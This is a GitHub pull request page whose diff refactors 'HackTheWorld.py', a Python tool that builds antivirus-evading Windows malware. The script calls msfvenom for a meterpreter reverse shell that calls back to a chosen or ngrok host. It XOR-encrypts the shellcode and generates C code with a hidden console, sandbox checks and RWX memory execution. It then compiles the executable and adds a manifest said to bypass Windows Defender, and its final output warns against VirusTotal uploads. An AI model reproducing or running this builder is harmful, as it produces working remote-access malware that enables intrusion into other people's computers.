Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

refactoring for better code quality #17

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open

refactoring for better code quality #17

Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
135 changes: 60 additions & 75 deletions HackTheWorld.py
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -1,25 +1,17 @@
#!/usr/bin/python
# -*- coding: utf8 -*-

##terminal text colours code
#cyan='\e[0;36m'
#green='\e[0;32m'
#lightgreen='\e[0;32m'
#white='\e[0;37m'
#red='\e[0;31m'
#yellow='\e[0;33m'
#blue='\e[0;34m'
#purple='\e[0;35m'
#orange='\e[38;5;166m'
import random
import string
import argparse
from Crypto.Hash import MD5
import os
from termcolor import colored
shellcodeFile='./result/test.raw'
fileName='./result/encryptedShellcode.c'
Filename='./result/final'

shellcodeFile = './result/test.raw'
fileName = './result/encryptedShellcode.c'
Filename ='./result/final'

def banner():
return """
_ _ _ _______ _ __ __ _ _
Expand All @@ -31,44 +23,42 @@ def banner():


"""
def rand():

return random.choice(string.ascii_lowercase) + ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))

def rand(n=10):
return random.choice(string.ascii_lowercase) + \
''.join(random.choice(string.ascii_lowercase + string.digits)
for _ in range(n))

def xor(data, key):
l = len(key)
keyAsInt = map(ord, key)
return bytes(bytearray((
(data[i] ^ keyAsInt[i % l]) for i in range(0,len(data))
)))
return bytes(bytearray(((data[i] ^ keyAsInt[i % l])
for i in range(0,len(data)))))

def writetofile(data, key, cipherType,lport):
shellcode = "\\x"
shellcode += "\\x".join(format(ord(b),'02x') for b in data)
#print shellcode
global Filename
list1=[1,2,3,4,5,6,7,8,9,10]
for i in range(0,10):
#print rand()
list1[i]=rand()
list1[i] = rand(n=10)

Filename="./result/final_"+lport+".c"
if shellcode != None:
try:

f= open(Filename,"w+")
f.write(("#include <windows.h>\n#include <stdio.h>\n\n"))
f.write("BOOL "+list1[8]+"() {\nint Tick = GetTickCount();\nSleep(1000);\nint Tac = GetTickCount();\nif ((Tac - Tick) < 1000) {\nreturn 0;}\nelse return 1;\n}\n\n")
f.write(" int main () { \n HWND hWnd = GetConsoleWindow();\nShowWindow(hWnd, SW_HIDE);\nHINSTANCE DLL = LoadLibrary(TEXT(\""+list1[2]+".dll\"));\nif (DLL != NULL) {\nreturn 0;}\n")
f.write("if ("+list1[8]+"()) {char * "+list1[4]+" = NULL;\n"+list1[4]+" = (char *)malloc(100000000);\nif ("+list1[4]+" != NULL) {\nmemset("+list1[4]+", 00, 100000000);\nfree("+list1[4]+");\n")
f.write("\nchar "+list1[3]+"[] = \""+shellcode+"\"; ")
f.write("\n\nchar "+list1[7]+"[] = \""+key+"\" ;")
f.write("char "+list1[5]+"[sizeof "+list1[3]+"];\nint j = 0;\nfor (int i = 0; i < sizeof "+list1[3]+"; i++) {\nif (j == sizeof "+list1[7]+" - 1) j = 0;\n"+list1[5]+"[i] = "+list1[3]+"[i] ^ "+list1[7]+"[j];\nj++;\n}\n")
f.write("void *"+list1[6]+" = VirtualAlloc(0, sizeof "+list1[5]+", MEM_COMMIT, PAGE_EXECUTE_READWRITE);\nmemcpy("+list1[6]+", "+list1[5]+", sizeof "+list1[5]+");CreateThread(NULL, 0,"+list1[6]+", NULL, 0, NULL);\n\nwhile (1) {\nif (!"+list1[8]+"()) { return 0; }\n}\n}\n}\n}\n")
f.close()
print color(("[+] Encrypted Shellcode saved in [{}]".format(Filename)))
with open(Filename,"w+") as f:
f.write(("#include <windows.h>\n#include <stdio.h>\n\n"))
f.write("BOOL "+list1[8]+"() {\nint Tick = GetTickCount();\nSleep(1000);\nint Tac = GetTickCount();\nif ((Tac - Tick) < 1000) {\nreturn 0;}\nelse return 1;\n}\n\n")
f.write(" int main () { \n HWND hWnd = GetConsoleWindow();\nShowWindow(hWnd, SW_HIDE);\nHINSTANCE DLL = LoadLibrary(TEXT(\""+list1[2]+".dll\"));\nif (DLL != NULL) {\nreturn 0;}\n")
f.write("if ("+list1[8]+"()) {char * "+list1[4]+" = NULL;\n"+list1[4]+" = (char *)malloc(100000000);\nif ("+list1[4]+" != NULL) {\nmemset("+list1[4]+", 00, 100000000);\nfree("+list1[4]+");\n")
f.write("\nchar "+list1[3]+"[] = \""+shellcode+"\"; ")
f.write("\n\nchar "+list1[7]+"[] = \""+key+"\" ;")
f.write("char "+list1[5]+"[sizeof "+list1[3]+"];\nint j = 0;\nfor (int i = 0; i < sizeof "+list1[3]+"; i++) {\nif (j == sizeof "+list1[7]+" - 1) j = 0;\n"+list1[5]+"[i] = "+list1[3]+"[i] ^ "+list1[7]+"[j];\nj++;\n}\n")
f.write("void *"+list1[6]+" = VirtualAlloc(0, sizeof "+list1[5]+", MEM_COMMIT, PAGE_EXECUTE_READWRITE);\nmemcpy("+list1[6]+", "+list1[5]+", sizeof "+list1[5]+");CreateThread(NULL, 0,"+list1[6]+", NULL, 0, NULL);\n\nwhile (1) {\nif (!"+list1[8]+"()) { return 0; }\n}\n}\n}\n}\n")

print (color(("[+] Encrypted Shellcode saved in [{}]".format(Filename))))
except IOError:
print color(("[!] Could not write C++ code [{}]".format(Filename)))
print (color(("[!] Could not write C++ code [{}]".format(Filename))))

def color(string, color=None):
attr = []
Expand All @@ -82,8 +72,8 @@ def color(string, color=None):
elif color.lower() == "blue":
attr.append('34')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)

else:

if string.strip().startswith("[!]"):
attr.append('31')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
Expand All @@ -104,35 +94,37 @@ def color(string, color=None):

if __name__ == '__main__':
os.system("clear")
print color(banner(),"green")
print color("""
print (color(banner(),"green"))
print (color("""
███████╗ ██████╗██████╗ ██╗██████╗ ████████╗ ~ Script By SKS ☪ ~
██╔════╝██╔════╝██╔══██╗██║██╔══██╗╚══██╔══╝
███████╗██║ ██████╔╝██║██████╔╝ ██║
╚════██║██║ ██╔══██╗██║██╔═══╝ ██║
███████║╚██████╗██║ ██║██║██║ ██║
╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝

""",'blue')
""",'blue'))

#print color(" _____ _ __ _____\n / ____| |/ // ____|\n| (___ | ' /| (___\n \___ \| < \___ \ \n ____) | . \ ____) |\n|_____/|_|\_\_____/ \n ","red")
payload_type=raw_input(color((' [?] Enter Payload TYPE [tcp,https,tcp_dns]: ')))
if payload_type=="":
payload_type="tcp"
print color((" [+] Payload TYPE : "+payload_type))
lhost=raw_input(color(' [?] Enter LHOST for Payload [LHOST] : '))
if lhost=="":
lhost="0.tcp.ngrok.io"
print color((" [+] LHOST for Payload [LPORT] : "+lhost))
lport=raw_input(color(' [?] Enter LPORT for Payload : '))
print color((" [+] LPORT for Payload : "+lport))
raw_payload='msfvenom -p windows/x64/meterpreter_reverse_'+payload_type+' LHOST='+ lhost +' LPORT='+ lport +' EXITFUNC=process --platform windows -a x64 -f raw -o ./result/test.raw'
print color('[✔] Checking directories...','green')
if not os.path.isdir("./result"):
payload_type = raw_input(color((' [?] Enter Payload TYPE [tcp,https,tcp_dns]: ')))
if payload_type == "":
payload_type = "tcp"
print (color((" [+] Payload TYPE : "+payload_type)))

lhost = raw_input(color(' [?] Enter LHOST for Payload [LHOST] : '))

if (lhost == ""):
lhost = "0.tcp.ngrok.io"

print(color((" [+] LHOST for Payload [LPORT] : " + lhost))
lport = raw_input(color(' [?] Enter LPORT for Payload : '))
print (color((" [+] LPORT for Payload : "+lport)))
raw_payload = 'msfvenom -p windows/x64/meterpreter_reverse_' + payload_type + ' LHOST=' + lhost +' LPORT='+ lport +' EXITFUNC=process --platform windows -a x64 -f raw -o ./result/test.raw'
print (color('[✔] Checking directories...','green'))
if (not os.path.isdir("./result")):
os.makedirs("./result")
print colored(color("[+] Creating [./result] directory for resulting code files","green"))
print (colored(color("[+] Creating [./result] directory for resulting code files","green")))

os.system(raw_payload)


try:
with open(shellcodeFile) as shellcodeFileHandle:
Expand All @@ -149,44 +141,37 @@ def color(string, color=None):
print (color("[+] XOR Encrypting the shellcode with key [{}]".format(masterKey)))
transformedShellcode = xor(shellcodeBytes, masterKey)

cipherType = 'xor'


print color(("[*] Encrypted shellcode size: [{}] bytes".format(len(transformedShellcode))))

# Writing To File

print color("[*] Generating C code file")
writetofile(transformedShellcode, masterKey, cipherType,lport)

writetofile(transformedShellcode, masterKey, 'xor',lport)

# Compiling
exe_name='./result/final_'+lport
print color('[+] Compiling file [{}] with Mingw Compiler '.format(Filename))
exe_name = './result/final_' + lport
print (color('[+] Compiling file [{}] with Mingw Compiler '.format(Filename)))

j="x86_64-w64-mingw32-gcc {} -o {}.exe".format(Filename,exe_name)
j = "x86_64-w64-mingw32-gcc {} -o {}.exe".format(Filename,exe_name)

os.system(j)
print color('[+] Compiled Sucessfully')
print color('[+] Removing Temp Files')
os.remove('./result/test.raw')
os.remove(Filename)

man='wine mt.exe -manifest template.exe.manifest -outputresource:'+exe_name+'.exe;#1 '
man = 'wine mt.exe -manifest template.exe.manifest -outputresource:' + exe_name + '.exe;#1 '

bool =input(color('[*]Do you want to add Manifest (Generally Bypasses Windows Defender)[ 1 or 0 ]?'))
bypassWindows = input(color('[*]Do you want to add Manifest (Generally Bypasses Windows Defender)[ 1 or 0 ]?'))
# Display Results
print color("\n==================================== RESULT ====================================\n")
if bool:
print color('[+] Adding Manifest ')
if (bypassWindows):
print (color('[+] Adding Manifest '))
os.system(man)
print color('[+] Final File with Manifest [{}.exe] '.format(exe_name))
print (color('[+] Final File with Manifest [{}.exe] '.format(exe_name)))
else:
print color('[+] Final File [{}.exe] '.format(exe_name))
print (color('[+] Final File [{}.exe] '.format(exe_name)))

print color ('\n DO NOT UPLOAD ON VIRUS TOTAL \n',"red")
print color ('\n USE \"nodistribute.com \"\n',"green")
print color ('\n Happy Hacking \n',"green")
print (color ('\n DO NOT UPLOAD ON VIRUS TOTAL \n',"red"))
print (color ('\n USE \"nodistribute.com \"\n',"green"))
print (color ('\n Happy Hacking \n',"green"))



Expand Down